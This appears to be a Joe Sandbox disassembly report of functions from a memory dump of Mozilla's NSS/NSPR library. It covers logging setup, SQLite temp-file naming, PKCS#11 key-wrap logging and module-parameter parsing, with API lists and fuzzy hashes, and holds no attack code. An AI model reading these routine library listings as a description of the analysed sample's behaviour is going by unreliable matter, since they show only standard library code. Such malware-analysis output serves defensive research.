_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C641F34
PR_SetLogBuffering.NSS3(00004000), ref: 6C641F61
PR_GetEnvSecure.NSS3(NSPR_LOG_FILE), ref: 6C641F6E
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C641F83
PR_SetLogFile.NSS3(00000000), ref: 6C641FA2
PR_smprintf.NSS3(Unable to create nspr log file '%s',00000000), ref: 6C641FB8
OutputDebugStringA.KERNEL32(00000000), ref: 6C641FCB
free.MOZGLUE(00000000), ref: 6C641FD2

Strings

all, xrefs: 6C641F0E
bufsize, xrefs: 6C641E9B
append, xrefs: 6C641EE6
timestamp, xrefs: 6C641EC4
sync, xrefs: 6C641E46
%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n, xrefs: 6C641E27
Unable to create nspr log file '%s', xrefs: 6C641FB3
, %n, xrefs: 6C641E6B
NSPR_LOG_MODULES, xrefs: 6C641DAD
NSPR_LOG_FILE, xrefs: 6C641F69

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: _stricmp$Secure$BufferingCriticalDebugEnterFileLockOutputR_smprintfSectionStringUnlockValue__acrt_iob_funccallocfreegetenvstrlen
String ID: , %n$%63[ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_-]%n:%d%n$NSPR_LOG_FILE$NSPR_LOG_MODULES$Unable to create nspr log file '%s'$all$append$bufsize$sync$timestamp
API String ID: 2013311973-4000297177
Opcode ID: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction ID: 79fcaf9fef14b468d8e03f1a9735023f3bbf9ec3c43bfd487c92de74903a5a63
Opcode Fuzzy Hash: 7bef9f6799ef8d3d465fa463455c7b65290322a7077239da01cfd2c630a33dc4
Instruction Fuzzy Hash: 1551CFB1E042499BDF00DBE5DD48B9E7BF8AF01309F088528E915DBA01E771D529CB99

Function 6C726E50 Relevance: 44.0, APIs: 19, Strings: 6, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5DCA30: EnterCriticalSection.KERNEL32(?,?,?,6C63F9C9,?,6C63F4DA,6C63F9C9,?,?,6C60369A), ref: 6C5DCA7A
Part of subcall function 6C5DCA30: LeaveCriticalSection.KERNEL32(?), ref: 6C5DCB26

memset.VCRUNTIME140(00000000,00000000,?,?,6C5EBE66), ref: 6C726E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6C5EBE66), ref: 6C726E98
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,?,?,?,?,?,?,6C5EBE66), ref: 6C726EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6C5EBE66), ref: 6C726ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C726EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6C5EBE66), ref: 6C726FA6
sqlite3_snprintf.NSS3(?,00000000,6C78AAF9,00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C726FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727014
sqlite3_free.NSS3(00000000,?,?,?,?,6C5EBE66), ref: 6C72701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6C5EBE66), ref: 6C727030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6C5EBE66), ref: 6C72705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6C5EBE66), ref: 6C727079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C727097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6C5EBE66), ref: 6C7270A0

Strings

winGetTempname5, xrefs: 6C727071
Pvl, xrefs: 6C7270A8
winGetTempname1, xrefs: 6C72708F
winGetTempname4, xrefs: 6C727046
winGetTempname2, xrefs: 6C7270C4
mz_etilqs_, xrefs: 6C726F18

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: Pvl$mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-3073947195
Opcode ID: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction ID: c094cd2936e94a87813ad0b07a9e933d8a1ba31693fc8c422700a140831e03f1
Opcode Fuzzy Hash: cb9095f18a8b0bbc33208a1004397a298c37fa31d3e2019c7dfe92a7de7ffae1
Instruction Fuzzy Hash: 69518E71E042115BE7149634AE59FBB362A9FC2318F144538E9059BFC1FF29AA0E82D7

Function 6C688E50 Relevance: 42.2, APIs: 14, Strings: 10, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C688E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C688EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688EB3

Part of subcall function 6C76D930: PL_strncpyz.NSS3(?,?,?), ref: 6C76D963

PR_LogPrint.NSS3(?,00000000), ref: 6C688EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C688EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C688F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F29
PR_LogPrint.NSS3(?,00000000), ref: 6C688F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C688F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C688F80
PR_LogPrint.NSS3(?,00000000), ref: 6C688F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C688FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C688FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C689047

Strings

nvl, xrefs: 6C688FEC, 6C689023
*pulWrappedKeyLen = 0x%x, xrefs: 6C689042
pMechanism = 0x%p, xrefs: 6C688EE0
pWrappedKey = 0x%p, xrefs: 6C688FAD
hSession = 0x%x, xrefs: 6C688E8E, 6C688E9E
hWrappingKey = 0x%x, xrefs: 6C688F01, 6C688F11
hKey = 0x%x, xrefs: 6C688F5B, 6C688F6B
pulWrappedKeyLen = 0x%p, xrefs: 6C688FC8
C_WrapKey, xrefs: 6C688E71
(CK_INVALID_HANDLE), xrefs: 6C688EAC, 6C688F1F, 6C688F79

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey$nvl
API String ID: 1003633598-2875670105
Opcode ID: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction ID: c05e45639354678bcf95fd6f34a7c161239e47ce9165580414ea61dd78f9234c
Opcode Fuzzy Hash: 80f55a6c1805cfe34f5b07e2ba1b35a2ba1ab0e68a08df7087f453c5857e3d73
Instruction Fuzzy Hash: 1551A531603108ABDB109F55DE4CF9A7B76AB4634CF084035F9096BA62DB309958CBBE

Function 6C6B4FE0 Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 175COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000,00000000,00000001), ref: 6C6B5009
PL_strncasecmp.NSS3(?,library=,00000008,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2,00000000), ref: 6C6B5049
PL_strncasecmp.NSS3(?,name=,00000005,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B505D
PL_strncasecmp.NSS3(?,parameters=,0000000B,?,?,?,?,?,?,?,?), ref: 6C6B5071
PL_strncasecmp.NSS3(?,nss=,00000004,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5089
PL_strncasecmp.NSS3(?,config=,00000007,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B50A1
NSSUTIL_ArgSkipParameter.NSS3(?), ref: 6C6B50B2
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C6675C2), ref: 6C6B50CB
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B50D9
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C6B50F5
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5103
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B511D
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B512B
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5145
NSSUTIL_ArgFetchValue.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C6B5153
free.MOZGLUE(?), ref: 6C6B516D
NSSUTIL_ArgFetchValue.NSS3(?,?), ref: 6C6B517B
isspace.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C6B5195

Strings

config=, xrefs: 6C6B509B
nss=, xrefs: 6C6B5083
parameters=, xrefs: 6C6B506B
name=, xrefs: 6C6B5057
library=, xrefs: 6C6B5043

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: FetchL_strncasecmpValuefree$isspace$ParameterSkip
String ID: config=$library=$name=$nss=$parameters=
API String ID: 391827415-203331871
Opcode ID: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction ID: c088cfdb71abb43f6902931d337e96fa8c2bb2ee761274e8767b72fed6dc0859
Opcode Fuzzy Hash: d182cf338c2f259ee0e053820ff7815b2bb40630cabf2d485297a59e27ff4416
Instruction Fuzzy Hash: 5551A5B1A011056BEB00DE64DD45AEE37A8AF16248F140030FC19F7741EB35EA26C7BA

Function 6C6B4C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C5B
PR_smprintf.NSS3(6C78AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6B4D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C6A4F51,00000000), ref: 6C6B4D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C6B4D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C6B4DA2
free.MOZGLUE(?), ref: 6C6B4DB9
free.MOZGLUE(00000000), ref: 6C6B4DCF

Strings

any, xrefs: 6C6B4C96
%s,%s, xrefs: 6C6B4C4B
rootFlags, xrefs: 6C6B4D47
ootT, xrefs: 6C6B4D1A
rust, xrefs: 6C6B4D22
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C6B4D9D
slotFlags, xrefs: 6C6B4D34
0x%08lx=[%s %s], xrefs: 6C6B4D80
every, xrefs: 6C6B4CA1
timeout, xrefs: 6C6B4C91

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction ID: cc24fd8302f3a4a17570e65b1fd10fcec1edd80f96c817ce2fbd3c31eac68d10
Opcode Fuzzy Hash: a7840368bc2e853b698ee9a1c64bd70f70e3d3bb33f12e178615af1b8f1463fc
Instruction Fuzzy Hash: B5418DB29011416BDB115F689C446BE3BA5AF82758F144134FC1A2BB01E771E934C7EB

Function 6C696CD0 Relevance: 37.0, APIs: 20, Strings: 1, Instructions: 298stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C696943
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C696957
Part of subcall function 6C696910: NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C696972
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C696983
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C6969AA
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C6969BE
Part of subcall function 6C696910: PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C6969D2
Part of subcall function 6C696910: NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C6969DF
Part of subcall function 6C696910: NSSUTIL_ArgStrip.NSS3(?), ref: 6C696A5B

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696D8C
free.MOZGLUE(00000000), ref: 6C696DC5
free.MOZGLUE(?), ref: 6C696DD6
free.MOZGLUE(?), ref: 6C696DE7
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6C696E1F
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E4B
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696E72
free.MOZGLUE(?), ref: 6C696EA7
free.MOZGLUE(?), ref: 6C696EC4
free.MOZGLUE(?), ref: 6C696ED5
free.MOZGLUE(00000000), ref: 6C696EE3
free.MOZGLUE(?), ref: 6C696EF4
free.MOZGLUE(?), ref: 6C696F08
free.MOZGLUE(00000000), ref: 6C696F35
free.MOZGLUE(?), ref: 6C696F44
free.MOZGLUE(?), ref: 6C696F5B
free.MOZGLUE(00000000), ref: 6C696F65

Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6C69781D,00000000,6C68BE2C,?,6C696B1D,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C40
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6C69781D,?,6C68BE2C,?), ref: 6C696C58
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6C69781D), ref: 6C696C6F
Part of subcall function 6C696C30: strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6C696C84
Part of subcall function 6C696C30: PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6C696C96
Part of subcall function 6C696C30: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6C696CAA

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696F90
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C696FC5
PK11_GetInternalKeySlot.NSS3 ref: 6C696FF4

Strings

+`jl, xrefs: 6C696D0D

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: free$strcmp$strncmp$FlagL_strncasecmp$Strip$InternalK11_ParameterSecureSkipSlot
String ID: +`jl
API String ID: 1304971872-3317076573
Opcode ID: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction ID: 51ebf55746ee75ca23376b80f47fe103eabd56014f05637eb2b51fc32ab9cc19
Opcode Fuzzy Hash: 526dde810fb2fae6740dbe8898befa10cdb0071ce74483e1ea99b1ea275f99c5
Instruction Fuzzy Hash: 8AB15BB0E0530A9FDF40DBA5DC44BAEBBB9AF05359F140025E815E7A10E731E915CBE9

Function 6C641FE0 Relevance: 37.0, APIs: 19, Strings: 2, Instructions: 254COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000084,00000001,00000000), ref: 6C642007
calloc.MOZGLUE(00000001,00000084), ref: 6C642077
calloc.MOZGLUE(00000001,0000002C), ref: 6C6420DF
TlsSetValue.KERNEL32(00000000), ref: 6C642188
PR_NewCondVar.NSS3 ref: 6C6421B7
calloc.MOZGLUE(00000001,00000084), ref: 6C64221C
InitializeCriticalSectionAndSpinCount.KERNEL32(0000001C,000005DC), ref: 6C6422C2
GetLastError.KERNEL32 ref: 6C6422CD
free.MOZGLUE(00000000), ref: 6C6422DD

Part of subcall function 6C640F00: PR_GetPageSize.NSS3(6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F1B
Part of subcall function 6C640F00: PR_NewLogModule.NSS3(clock,6C640936,FFFFE8AE,?,6C5D16B7,00000000,?,6C640936,00000000,?,6C5D204A), ref: 6C640F25

Strings

X {l, xrefs: 6C64218E
T {l, xrefs: 6C642361

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: calloc$CondCountCriticalErrorInitializeLastModulePageSectionSizeSpinValuefree
String ID: T {l$X {l
API String ID: 3559583721-736249941
Opcode ID: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction ID: 9a0fdf5ce97a30bab5ef0d2dcc866cade5d3449c233c6a0c7f4f9c54f752b9a3
Opcode Fuzzy Hash: 41b3a9deb05fc07b8489216908b2b84db833c04dc0e854acc139f9ca38674b0e
Instruction Fuzzy Hash: 6E916BB16017019FDB20AF78DC4DBAB7BF4BB06749F10853AE55AD6A40DB70A104CB99

Function 6C65DDD0 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 169memorystringtimeCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6C65DDDE

Part of subcall function 6C6B0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6587ED,00000800,6C64EF74,00000000), ref: 6C6B1000
Part of subcall function 6C6B0FF0: PR_NewLock.NSS3(?,00000800,6C64EF74,00000000), ref: 6C6B1016
Part of subcall function 6C6B0FF0: PL_InitArenaPool.NSS3(00000000,security,6C6587ED,00000008,?,00000800,6C64EF74,00000000), ref: 6C6B102B

PORT_ArenaAlloc_Util.NSS3(00000000,00000018), ref: 6C65DDF5

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(00000000,00000000), ref: 6C65DE34
PR_Now.NSS3 ref: 6C65DE93
CERT_CheckCertValidTimes.NSS3(?,00000000,?,00000000), ref: 6C65DE9D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C65DEB4
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DEC3
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C65DED8
PR_smprintf.NSS3(%s%s,?,?), ref: 6C65DEF0
PR_smprintf.NSS3(6C78AAF9,(NULL) (Validity Unknown)), ref: 6C65DF04
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF13
PORT_ArenaAlloc_Util.NSS3(?,00000001), ref: 6C65DF22
memcpy.VCRUNTIME140(00000000,00000000,00000001), ref: 6C65DF33
free.MOZGLUE(00000000), ref: 6C65DF3C
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C65DF4B
free.MOZGLUE(00000000), ref: 6C65DF74
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6C65DF8E

Strings

{???}, xrefs: 6C65DE8B
%s%s, xrefs: 6C65DEEB
(NULL) (Validity Unknown), xrefs: 6C65DEFA

Memory Dump Source

Source File: 00000000.00000002.2075425187.000000006C5D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2075411587.000000006C5D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075627657.000000006C76F000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075664073.000000006C7AE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075686298.000000006C7AF000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075705034.000000006C7B0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2075719530.000000006C7B5000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$strlen$Arena_R_smprintfValuefreememcpy$AllocateCertCheckCriticalEnterFreeInitLockPoolSectionTimesUnlockValidcalloc
String ID: %s%s$(NULL) (Validity Unknown)${???}
API String ID: 1882561532-3437882492
Opcode ID: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction ID: a911e82a0a673f726b3593f5b6b917041a2cd874ef988a083c42badf50be4b04
Opcode Fuzzy Hash: fc9b92e1736405dfbd18c148283de10c322bac94ff750c22a8a6a7143ec4252b
Instruction Fuzzy Hash: 3C51B2B1E002156BDB00DF659E45AAF7AB8EF85358F644028EC09E7B40E731D925CBF9

Function 6C68AF20 Relevance: 35.1, APIs: 10, Strings: 10, Instructions: 126COMMON

Download Yara Rule

